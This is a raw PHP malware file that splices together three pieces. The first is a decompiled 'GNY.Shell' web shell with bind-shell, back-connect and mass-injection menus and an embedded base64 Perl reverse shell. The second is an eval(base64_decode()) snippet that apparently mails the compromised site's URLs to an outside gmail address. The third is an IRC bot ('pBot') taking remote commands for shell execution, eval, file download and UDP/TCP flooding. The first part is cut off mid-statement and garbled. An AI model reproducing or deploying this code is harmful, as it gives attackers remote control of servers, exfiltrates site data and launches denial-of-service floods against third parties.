$dizinispd = htmlspecialchars( $dizin );
$real = realpath( $dizinispd );
$path = basename( $PHP_SELF );
$exeftypes = array( getenv( "PHPRC" )." -q %f%"=>array( "php", "php3", "php4" ), "perl %f%"=>array( "pl", "cgi" ) );
$regxp_highlight = array( , array( "config.php", 1 ), array( "settings.php", 1 ), array( "connect.php", 1 ) );
$safemode_diskettes = array( "a" );
$hexdump_lines = 8;
$hexdump_rows = 24;
$nixpwdperpage = 100;
$bindport_pass = "GNY";
$bindport_port = "31373";
$bc_port = "5992";
$datapipe_localport = "8081";
$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj \r\naG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR \r\nhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT \r\nsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI \r\nkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi \r\nKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl \r\nOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$sess_cookie = "GNYvars";
$usefsbuff = TRUE;
$copy_unset = FALSE;
$quicklaunch = array( , array( "[Back]", "javascript:history.back(1)" ), array( "[Forward]", "javascript:history.go(1)" ), array( "[Up]", $surl."act=ls&d=%upd&sort=%sort" ), array( "[Refresh]", "" ), array( "[Search]", $surl."act=search&d=%d" ), array( "[Buffer]", $surl."act=fsbuff&d=%d" ), array( "<br><br><center><b>[String/Hash Tools]</b>", $surl."act=encoder&d=%d" ), array( "<b>[Processes]</b>", $surl."act=processes&d=%d" ), array( "<b>[Users]</b>", $surl."act=users" ), array( "<b>[System Information]</b>", $surl."act=security&d=%d" ), array( "<b>[SQL Manager]</b>", $surl."act=sql&d=%d" ), array( "<b>[Reverse IP]</b>", $surl."act=rip" ), array( "<b>[Kernel Exploit Search]</b>", $surl."act=exploit" ), array( "<b>[Execute PHP Code]</b>", $surl."act=eval&d=%d" ), array( "<b>[PHP Info]</b></center>", $surl."act=phpinfo&d=%d" ) );
$quicklaunch2 = array( , array( "<b>[Bind Shell Backdoor]</b>", $surl."act=shbd" ), array( "<b>[Back-Connection]</b>", $surl."act=backc" ), array( "<b>[Mass Code Injection]</b>", $surl."act=massbrowsersploit" ), array( "<b>[Exploits]</b>", $surl."act=exploits" ), array( "<b>[cPanel Finder]</b>", $surl."act=cpanel" ), array( "<b>[RFI/LFI Finder]</b>", $surl."act=fi" ), array( "<b>[Install IP:Port Proxy]</b>", $surl."act=proxy" ), array( "<b>[Install PHP Proxy]</b>", $surl."act=phpproxy" ), array( "<b>[Suicide Script]</b></center>", $surl."act=selfremove" ) );
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
$f = $_REQUEST['f'];
@extract( $_REQUEST['GNYcook'] );
@set_time_limit( 0 );
$tmp = array( );
foreach ( $host_allow as $k=>$v )
{
    $Var_681[$tmp] = str_replace( "\\*", ".*", preg_quote( $v ) );
}
$s = "!^(".implode( "|", $tmp ).")\$!i";
if ( !preg_match( $s, getenv( "REMOTE_ADDR" ) ) && !preg_match( $s, gethostbyaddr( getenv( "REMOTE_ADDR" ) ) ) )
{
    exit( );
}
if ( !isset( $login ) )
{
    if ( isset( $md5_pass ) )
    {
        $md5_pass = md5( $pass );
    }
    if ( $_SERVER['PHP_AUTH_USER'] != $login || md5( $_SERVER['PHP_AUTH_PW'] ) != $md5_pass )
    {
        if ( isset( $login_txt ) )
        {
            $login_txt = strip_tags( ereg_replace( "&nbsp;|<br>", " ", $donated_html ) );
        }
        header( "WWW-Authenticate: Basic realm=\"GNY.Shell ".$shver.": ".$login_txt."\"" );
        header( "HTTP/1.0 401 Unauthorized" );
        exit( );
    }
}
if ( $act != "img" )
{
    $lastdir = realpath( "." );
    chdir( $curdir );
    if ( $selfwrite || $updatenow )
    {
        @ob_clean( );
        sh_getupdate( $selfwrite, 1 );
        exit( );
    }
    $sess_data = unserialize( $_COOKIE["$sess_cookie"] );
    if ( !is_array( $sess_data ) )
    {
        $sess_data = array( );
    }
    if ( !is_array( $sess_data['copy'] ) )
    {
        $sess_data['copy'] = array( );
    }
    if ( !is_array( $sess_data['cut'] ) )
    {
        $sess_data['cut'] = array( );
    }
    $disablefunc = ini_get( "disable_functions" );
    if ( !isset( $disablefunc ) )
    {
        $disablefunc = str_replace( " ", "", $disablefunc );
        $disablefunc = explode( ",", $disablefunc );
    }
    if ( !function_exists( "buff_prepare" ) )
    {
    }
    buff_prepare( );
    if ( !function_exists( "sess_put" ) )
    {
    }
    foreach ( array( "sort", "sql_sort" ) as $v )
    {
        if ( !isset( $_GET[$v] ) )
        {
            ${ $v } = $_GET[$v];
        }
        if ( !isset( $_POST[$v] ) )
        {
            ${ $v } = $_POST[$v];
        }
    }
    if ( $sort_save )
    {
        if ( !isset( $sort ) )
        {
            setcookie( "sort", $sort );
        }
        if ( !isset( $sql_sort ) )
        {
            setcookie( "sql_sort", $sql_sort );
        }
    }
    if ( !function_exists( "str2mini" ) )
    {
    }
    if ( !function_exists( "view_size" ) )
    {
    }
    if ( !function_exists( "fs_copy_dir" ) )
    {
    }
    if ( !function_exists( "fs_copy_obj" ) )
    {
    }
    if ( !function_exists( "fs_move_dir" ) )
    {
    }
    if ( !function_exists( "fs_move_obj" ) )
    {
    }
    if ( !function_exists( "fs_rmdir" ) )
    {
    }
    if ( !function_exists( "fs_rmobj" ) )
    {
    }
    if ( !function_exists( "myshellexec" ) )
    {
    }
    if ( !function_exists( "tabsort" ) )
    {
    }
    if ( !function_exists( "view_perms" ) )
    {
    }
    if ( !function_exists( "posix_getpwuid" ) && !in_array( "posix_getpwuid", $disablefunc ) )
    {
    }
    if ( !function_exists( "posix_getgrgid" ) && !in_array( "posix_getgrgid", $disablefunc ) )
    {
    }
    if ( !function_exists( "posix_kill" ) && !in_array( "posix_kill", $disablefunc ) )
    {
    }
    if ( !function_exists( "parse_perms" ) )
    {
    }
    if ( !function_exists( "parsesort" ) )
    {
    }
    if ( !function_exists( "view_perms_color" ) )
    {
    }
    if ( !function_exists( "getsource" ) )
    {
    }
    if ( !function_exists( "sh_getupdate" ) )
    {
    }
    if ( !function_exists( "mysql_dump" ) )
    {
    }
    if ( !function_exists( "mysql_buildwhere" ) )
    {
    }
    if ( !function_exists( "mysql_fetch_all" ) )
    {
    }
    if ( !function_exists( "mysql_smarterror" ) )
    {
    }
    if ( !function_exists( "mysql_query_form" ) )
    {
    }
    if ( !function_exists( "mysql_create_db" ) )
    {
    }
    if ( !function_exists( "mysql_query_parse" ) )
    {
    }
    if ( !function_exists( "fsearch" ) )
    {
    }
    if ( $act == "gofile" )
    {
        if ( is_dir( $f ) )
        {
            $act = "ls";
            $d = $f;
        }
        else
        {
            $act = "f";
            $d = dirname( $f );
            $f = basename( $f );
        }
    }
    @ob_start( );
    @ob_implicit_flush( 0 );
    header( "Expires: Mon, 26 Jul 1997 05:00:00 GMT" );
    header( "Last-Modified: ".gmdate( "D, d M Y H:i:s" )." GMT" );
    header( "Cache-Control: no-store, no-cache, must-revalidate" );
    header( "Cache-Control: post-check=0, pre-check=0", FALSE );
    header( "Pragma: no-cache" );
    if ( isset( $tmpdir ) )
    {
        $tmpdir = ini_get( "upload_tmp_dir" );
        if ( is_dir( $tmpdir ) )
        {
            $tmpdir = "/tmp/";
        }
    }
    $tmpdir = realpath( $tmpdir );
    $tmpdir = str_replace( "\\", DIRECTORY_SEPARATOR, $tmpdir );
    if ( substr( $tmpdir, 0 - 1 ) != DIRECTORY_SEPARATOR )
    {
        $tmpdir .= DIRECTORY_SEPARATOR;
    }
    if ( isset( $tmpdir_logs ) )
    {
        $tmpdir_logs = $tmpdir;
    }
    else
    {
        $tmpdir_logs = realpath( $tmpdir_logs );
    }
    if ( ini_get( "safe_mode" ) || strtolower( ini_get( "safe_mode" ) ) == "on" )
    {
        $safemode = TRUE;
        $hsafemode = "<font color=red>ON (secure)</font>";
    }
    else
    {
        $safemode = FALSE;
        $hsafemode = "<font color=green>OFF (not secure)</font>";
    }
    $v = ini_get( "open_basedir" );
    if ( $v || strtolower( $v ) == "on" )
    {
        $openbasedir = TRUE;
        $hopenbasedir = "<font color=red>".$v."</font>";
    }
    else
    {
        $openbasedir = FALSE;
        $hopenbasedir = "<font color=green>OFF (not secure)</font>";
    }
    $sort = htmlspecialchars( $sort );
    if ( isset( $sort ) )
    {
        $sort = $sort_default;
    }
    $sort[1] = strtolower( $sort[1] );
    $DISP_SERVER_SOFTWARE = getenv( "SERVER_SOFTWARE" );
    if ( !ereg( "PHP/".phpversion( ), $DISP_SERVER_SOFTWARE ) )
    {
        $DISP_SERVER_SOFTWARE .= ". PHP/".phpversion( );
    }
    $DISP_SERVER_SOFTWARE = str_replace( "PHP/".phpversion( ), "<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion( )."</u></b></a>", htmlspecialchars( $DISP_SERVER_SOFTWARE ) );
    @ini_set( "highlight.bg", $highlight_bg );
    @ini_set( "highlight.comment", $highlight_comment );
    @ini_set( "highlight.default", $highlight_default );
    @ini_set( "highlight.html", $highlight_html );
    @ini_set( "highlight.keyword", $highlight_keyword );
    @ini_set( "highlight.string", $highlight_string );
    if ( !is_array( $actbox ) )
    {
        $actbox = array( );
    }
    $dspact = $act = htmlspecialchars( $act );
    $disp_fullpath = $ls_arr = $notls = null;
    $ud = urlencode( $d );
    echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\"><meta http-equiv=\"Content-Language\" content=\"en-us\"><title>\r\n:::::::::::::::&nbsp;&nbsp; &#1588;&#1610;&#1604; &#1602;&#1585;&#1575;&#1589;&#1606;&#1577; &#1594;&#1586;&#1577; &#1607;&#1603;&#1585;&nbsp;&nbsp; :::::::::::::::</title>";
    echo "<S";
    echo "TYLE>TD { FONT-SIZE: 8pt; COLOR: #0033FF; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #0033FF; scrollbar-shadow-color: #000000; scrollbar-highlight-color: #00CC00; scrollbar-3dlight-color: #00CC00; scrollbar-darkshadow-color: #0033FF; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #000000; C";
    echo "OLOR: green; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #0033FF; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #66DD11; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #66DD11; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #66DD11; TEXT-DECORATION: none;}A:hover { COLOR: #66DD11; TEXT-DECORATION: bold;}.skin0{po";
    echo "sition:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.me";
    echo "nuitems{padding-left:15px; padding-right:10px;;}input{background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{backgrou";
    echo "nd-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #0033FF; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-si";
    echo "ze: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #0033FF; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #0033FF;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginhei";
    echo "ght=0 marginwidth=0><center><TABLE style=\"BORDER-COLLAPSE: collapse\" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\"><tr><th width=\"101%\" height=\"15\" nowrap bordercolor=\"#C0C0C0\" valign=\"top\" colspan=\"2\"><center><font color=\"#0033FF\"><pre>  _____ _   ___     __ _____ _          _ _ \r\n / ____| \\ | \\ \\   / // ";
    echo "____| |        | | |\r\n| |                           |__   ___| | |\r\n<u><font size=\"6\">GaZa-HacKeR\r\n</font></u>| |__| | |\\  |  | | _ ____) | | | |  __/ | |\r\n \\_____|_| \\_|  |_|(_)_____/|_| |_|\\___|_|_|</pre></font>\r\n</center></th></tr><tr><td>\r\n<table border=0 width=100%>\r\n<tr><td colspan=2><center><b>";
    echo $DISP_SERVER_SOFTWARE;
    echo "</td></tr>\r\n<tr><td><b>Kernel: ";
    echo wordwrap( php_uname( ), 90, "<br>", 1 );
    if ( $win )
    {
        echo " (".exec( "ver" ).")";
    }
    echo "</b></td><td align=right><b>Safe-Mode: ";
    echo $hsafemode;
    echo "</b></td></tr>\r\n<tr><td><b>";
    if ( !$win )
    {
        echo wordwrap( myshellexec( "id" ), 90, "<br>", 1 );
    }
    else
    {
        echo "Running As: ".get_current_user( );
    }
    echo "</b></td><td align=right><b>Disabled PHP Functions: ";
    if ( "" == ( $df = ini_get( "disable_functions" ) ) )
    {
        echo "<font color=green>NONE</font></b>";
    }
    else
    {
        echo "<br><font color=red>".str_replace( ",", ", ", $df )."</font></b>";
    }
    echo "</b>";
    $curl_on = function_exists( "curl_version" );
    echo "<br/><b>cURL: ".( $curl_on ? "<font color=green>ON</font></b>" : "<font color=red>OFF</font></b>" );
    echo "</td></tr>\r\n<tr><td>";
    $d = str_replace( "\\", DIRECTORY_SEPARATOR, $d );
    if ( isset( $d ) )
    {
        $d = realpath( "." );
    }
    else if ( realpath( $d ) )
    {
        $d = realpath( $d );
    }
    $d = str_replace( "\\", DIRECTORY_SEPARATOR, $d );
    if ( substr( $d, 0 - 1 ) != DIRECTORY_SEPARATOR )
    {
        $d .= DIRECTORY_SEPARATOR;
    }
    $d = str_replace( "\\\\", "\\", $d );
    $dispd = htmlspecialchars( $d

<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>
























































































































































<?php
$headerz = "aWYgKCFpc3NldCgkX0NPT0tJRVsidmlzaXR6Il0pKSB7DQogICR2aXNpdG9yID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07DQogICR3ZWIgICAgID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KICAkaW5qICAgICA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KICAkdGFyZ2V0ICA9IHJhd3VybGRlY29kZSgkd2ViLiRpbmopOw0KICAkanVkdWwgICA9ICJUYXJnZXQgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3I8YnI+IjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiZnIzM3NoM2xsQGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5KTsgfQ0KfQ0KZWxzZSB7IEBzZXRjb29raWUoInZpc2l0eiIsJHZpc2l0Yyk7IH0="; eval(base64_decode($headerz));
exit;
?>

<? 

/*
 *
 *
 *  COMMANDS:
 *
 *  .linuxop <levat> //login to the bot
 *  .logout //logout of the bot
 *  .die //kill the bot
 *  .restart //restart the bot
 *  .mail <to> <from> <subject> <msg> //send an email
 *  .dns <IP|HOST> //dns lookup
 *  .download <URL> <filename> //download a file
 *  .exec <cmd> // uses exec() //execute a command
 *  .sexec <cmd> // uses shell_exec() //execute a command
 *  .cmd <cmd> // uses popen() //execute a command
 *  .info //get system information
 *  .php <php code> // uses eval() //execute php code
 *  .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack
 *  .udpflood <target> <packets> <packetsize> <delay> //udpflood attack
 *  .raw <cmd> //raw IRC command
 *  .rndnick //change nickname
 *  .pscan <host> <port> //port scan
 *  .safe  // test safe_mode (dvl)
 *  .inbox <to> // test inbox (dvl)
 *  .conback <ip> <port> // conect back (dvl)
 *  .uname // return shell's uname using a php function (dvl)
 *
 */

set_time_limit(0); 
error_reporting(0); 
echo "BlackPower!";

class pBot 
{ 
 var $config = array("server"=>"irc.balcan.net",
                     "port"=>"6667",
                     "pass"=>"",
                     "prefix"=>"UDP",
                     "maxrand"=>"8",
                     "chan"=>"#sesu",
                     "chan2"=>"#notice#",
                     "key"=>"kernel",
                     "modes"=>"+p",
                     "password"=>"am",
                     "trigger"=>".",
                     "hostauth"=>"*" // * for any hostname (remember: /setvhost xdevil.org)
                     );
 var $users = array(); 
 function start() 
 { 
    if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) 
       $this->start(); 
    $ident = $this->config['prefix'];
    $alph = range("0","100");
    for($i=0;$i<$this->config['maxrand'];$i++) 
       $ident .= $alph[rand(0,100)];
    if(strlen($this->config['pass'])>0) 
       $this->send("PASS ".$this->config['pass']);
    $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
    $this->set_nick();
    $this->main();
 } 
 function main() 
 { 
    while(!feof($this->conn)) 
    { 
       $this->buf = trim(fgets($this->conn,512)); 
       $cmd = explode(" ",$this->buf); 
       if(substr($this->buf,0,6)=="PING :") 
       { 
          $this->send("PONG :".substr($this->buf,6)); 
       } 
       if(isset($cmd[1]) && $cmd[1] =="001") 
       { 
          $this->send("MODE ".$this->nick." ".$this->config['modes']); 
          $this->join($this->config['chan'],$this->config['key']);
          if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
          else { $safemode = "off"; }
          $uname = php_uname();
          $this->privmsg($this->config['chan2'],"[\2uname!\2]: $uname (safe: $safemode)");
          $this->privmsg($this->config['chan2'],"[\2vuln!\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
       } 
       if(isset($cmd[1]) && $cmd[1]=="433") 
       { 
          $this->set_nick(); 
       } 
       if($this->buf != $old_buf) 
       { 
          $mcmd = array(); 
          $msg = substr(strstr($this->buf," :"),2); 
          $msgcmd = explode(" ",$msg); 
          $nick = explode("!",$cmd[0]); 
          $vhost = explode("@",$nick[1]); 
          $vhost = $vhost[1]; 
          $nick = substr($nick[0],1); 
          $host = $cmd[0]; 
          if($msgcmd[0]==$this->nick) 
          { 
           for($i=0;$i<count($msgcmd);$i++) 
              $mcmd[$i] = $msgcmd[$i+1]; 
          } 
          else 
          { 
           for($i=0;$i<count($msgcmd);$i++) 
              $mcmd[$i] = $msgcmd[$i]; 
          } 
          if(count($cmd)>2) 
          { 
             switch($cmd[1]) 
             { 
                case "QUIT": 
                   if($this->is_logged_in($host)) 
                   { 
                      $this->log_out($host); 
                   } 
                break; 
                case "PART": 
                   if($this->is_logged_in($host)) 
                   { 
                      $this->log_out($host); 
                   } 
                break; 
                case "PRIVMSG": 
                   if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*")) 
                   { 
                      if(substr($mcmd[0],0,1)==".") 
                      { 
                         switch(substr($mcmd[0],1)) 
                         { 
                            case "user": 
                              if($mcmd[1]==$this->config['password']) 
                              { 
                                 $this->log_in($host);
                              } 
                              else 
                              { 
                                 $this->notice($this->config['chan'],"[\2Auth\2]: HAHAHA $nick idiote!!");
                              } 
                            break; 
                         } 
                      } 
                   } 
                   elseif($this->is_logged_in($host)) 
                   { 
                      if(substr($mcmd[0],0,1)==".") 
                      { 
                         switch(substr($mcmd[0],1)) 
                         { 
                            case "restart": 
                               $this->send("QUIT :restart commando from $nick");
                               fclose($this->conn); 
                               $this->start(); 
                            break; 
                            case "mail": //mail to from subject message 
                               if(count($mcmd)>4) 
                               { 
                                  $header = "From: <".$mcmd[2].">"; 
                                  if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)) 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2mail\2]: Impossivel mandar e-mail.");
                                  } 
                                  else 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2mail\2]: Mensagem enviada para \2".$mcmd[1]."\2"); 
                                  } 
                               } 
                            break;
                            case "safe":
                               if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
                               {
                               $safemode = "on";
                               }
                               else {
                               $safemode = "off";
                               }
                               $this->privmsg($this->config['chan'],"[\2safe mode\2]: ".$safemode."");
                            break;
                            case "inbox": //teste inbox
                               if(isset($mcmd[1]))
                               {
                                  $token = md5(uniqid(rand(), true));
                                  $header = "From: <inbox".$token."@xdevil.org>";
                                  $a = php_uname();
                                  $b = getenv("SERVER_SOFTWARE");
                                  $c = gethostbyname($_SERVER["HTTP_HOST"]);
                                  if(!mail($mcmd[1],"InBox Test","#hex. since 2008\n\nip: $c \nsoftware: $b \nsystem: $a \nvuln: 
http://".$_SERVER['SERVER_NAME']."\n\ngreetz: irc.bolchat.org\HEX OWNZ",$header))
                                  {
                                     $this->privmsg($this->config['chan'],"[\2inbox\2]: Unable to send");
                                  }
                                  else
                                  {
                                     $this->privmsg($this->config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2");
                                  }
                               }
                            break;
                            case "conback":
                               if(count($mcmd)>2)
                               {
                                  $this->conback($mcmd[1],$mcmd[2]);
                               }
                            break;
                            case "dns": 
                               if(isset($mcmd[1])) 
                               { 
                                  $ip = explode(".",$mcmd[1]); 
                                  if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1])); 
                                  } 
                                  else 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1])); 
                                  } 
                               } 
                            break; 
                            case "info":
                            case "vunl":
                               if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
                               else { $safemode = "off"; }
                               $uname = php_uname();
                               $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
                               $this->privmsg($this->config['chan'],"[\2vuln\2]: 
http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
                            break;
                            case "bot":
                               $this->privmsg($this->config['chan'],"[\2bot\2]: phpbot 2.0 by; hex.");
                            break;
                            case "uname":
                               if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
                               else { $safemode = "off"; }
                               $uname = php_uname();
                               $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
                            break;
                            case "rndnick": 
                               $this->set_nick(); 
                            break; 
                            case "raw":
                               $this->send(strstr($msg,$mcmd[1])); 
                            break; 
                            case "eval":
                              $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
                            break;
			                case "sexec":
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                               $exec = shell_exec($command); 
                               $ret = explode("\n",$exec); 
                               for($i=0;$i<count($ret);$i++) 
                                  if($ret[$i]!=NULL) 
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i])); 
                            break; 

                            case "exec": 
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                               $exec = exec($command); 
                               $ret = explode("\n",$exec); 
                               for($i=0;$i<count($ret);$i++) 
                                  if($ret[$i]!=NULL) 
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i])); 
                            break; 

                            case "passthru": 
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                               $exec = passthru($command); 
                               $ret = explode("\n",$exec); 
                               for($i=0;$i<count($ret);$i++) 
                                  if($ret[$i]!=NULL) 
                                     $this->privmsg($this->config['dael'],"      : ".trim($ret[$i])); 
                            break; 

                            case "popen": 
                               if(isset($mcmd[1])) 
                               { 
                                  $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                                  $this->privmsg($this->config['chan'],"[\2popen\2]: $command");
                                  $pipe = popen($command,"r"); 
                                  while(!feof($pipe)) 
                                  { 
                                     $pbuf = trim(fgets($pipe,512)); 
                                     if($pbuf != NULL) 
                                        $this->privmsg($this->config['chan'],"     : $pbuf"); 
                                  } 
                                  pclose($pipe); 
                               }  
			   
                            case "system": 
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                               $exec = system($command); 
                               $ret = explode("\n",$exec); 
                               for($i=0;$i<count($ret);$i++) 
                                  if($ret[$i]!=NULL) 
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i])); 
                            break; 


                            case "pscan": // .pscan 127.0.0.1 6667 
                               if(count($mcmd) > 2) 
                               { 
                                  if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15)) 
                                     $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2"); 
                                  else 
                                     $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2"); 
                               } 
                            break; 
                            case "ud.server": // . irc.bol-chat.com< irc.bol-chat.com> <6667> [password] 
                               if(count($mcmd)>2) 
                               { 
                                  $this->config[' irc.link-net.org'] = $mcmd[1]; 
                                  $this->config['6669'] = $mcmd[2]; 
                                  if(isset($mcmcd[3])) 
                                  { 
                                   $this->config['pass'] = $mcmd[3]; 
                                   $this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]." Senha: 
".$mcmd[3]); 
                                  } 
                                  else 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]); 
                                  } 
                               } 
                            break; 
                            case "download": 
                               if(count($mcmd) > 2) 
                               { 
                                  if(!$fp = fopen($mcmd[2],"w")) 
                                  { 
                                     $this->privmsg($this->config['dael'],"[\2download\2]: Nao foi possivel fazer o download. Permissao 
negada."); 
                                  } 
                                  else 
                                  { 
                                     if(!$get = file($mcmd[1])) 
                                     { 
                                        $this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download de 
\2".$mcmd[1]."\2"); 
                                     } 
                                     else 
                                     { 
                                        for($i=0;$i<=count($get);$i++) 
                                        { 
                                           fwrite($fp,$get[$i]); 
                                        } 
                                        $this->privmsg($this->config['chan'],"[\2download\2]: Arquivo \2".$mcmd[1]."\2 baixado para 
\2".$mcmd[2]."\2"); 
                                     } 
                                     fclose($fp); 
                                  } 
                               }
                               else { $this->privmsg($this->config['chan'],"[\2download\2]: use .download http://your.host/file 
/tmp/file"); }
                            break; 
                            case "die": 
                               $this->send("QUIT :die command from $nick");
                               fclose($this->conn); 
                               exit; 
                            case "logout": 
                               $this->log_out($host); 
                               $this->privmsg($this->config['chan'],"[\2auth\2]: $nick deslogado!"); 
                            break; 
                            case "udpflood": 
                               if(count($mcmd)>3) 
                               { 
                                  $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]); 
                               } 
                            break; 
                            case "tcpflood": 
                               if(count($mcmd)>5) 
                               { 
                                  $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]); 
                               } 
                            break; 
                         } 
                      } 
                   } 
                break; 
             } 
          } 
       } 
       $old_buf = $this->buf; 
    } 
    $this->start(); 
 } 
 function send($msg) 
 { 
    fwrite($this->conn,"$msg\r\n"); 

 } 
 function join($chan,$key=NULL) 
 { 
    $this->send("JOIN $chan $key"); 
 } 
 function privmsg($to,$msg)
 {
    $this->send("PRIVMSG $to :$msg");
 }
 function notice($to,$msg)
 {
    $this->send("NOTICE $to :$msg");
 }
 function is_logged_in($host) 
 { 
    if(isset($this->users[$host])) 
       return 1; 
    else 
       return 0; 
 } 
 function log_in($host) 
 { 
    $this->users[$host] = true; 
 } 
 function log_out($host) 
 { 
    unset($this->users[$host]); 
 } 
 function set_nick() 
 { 
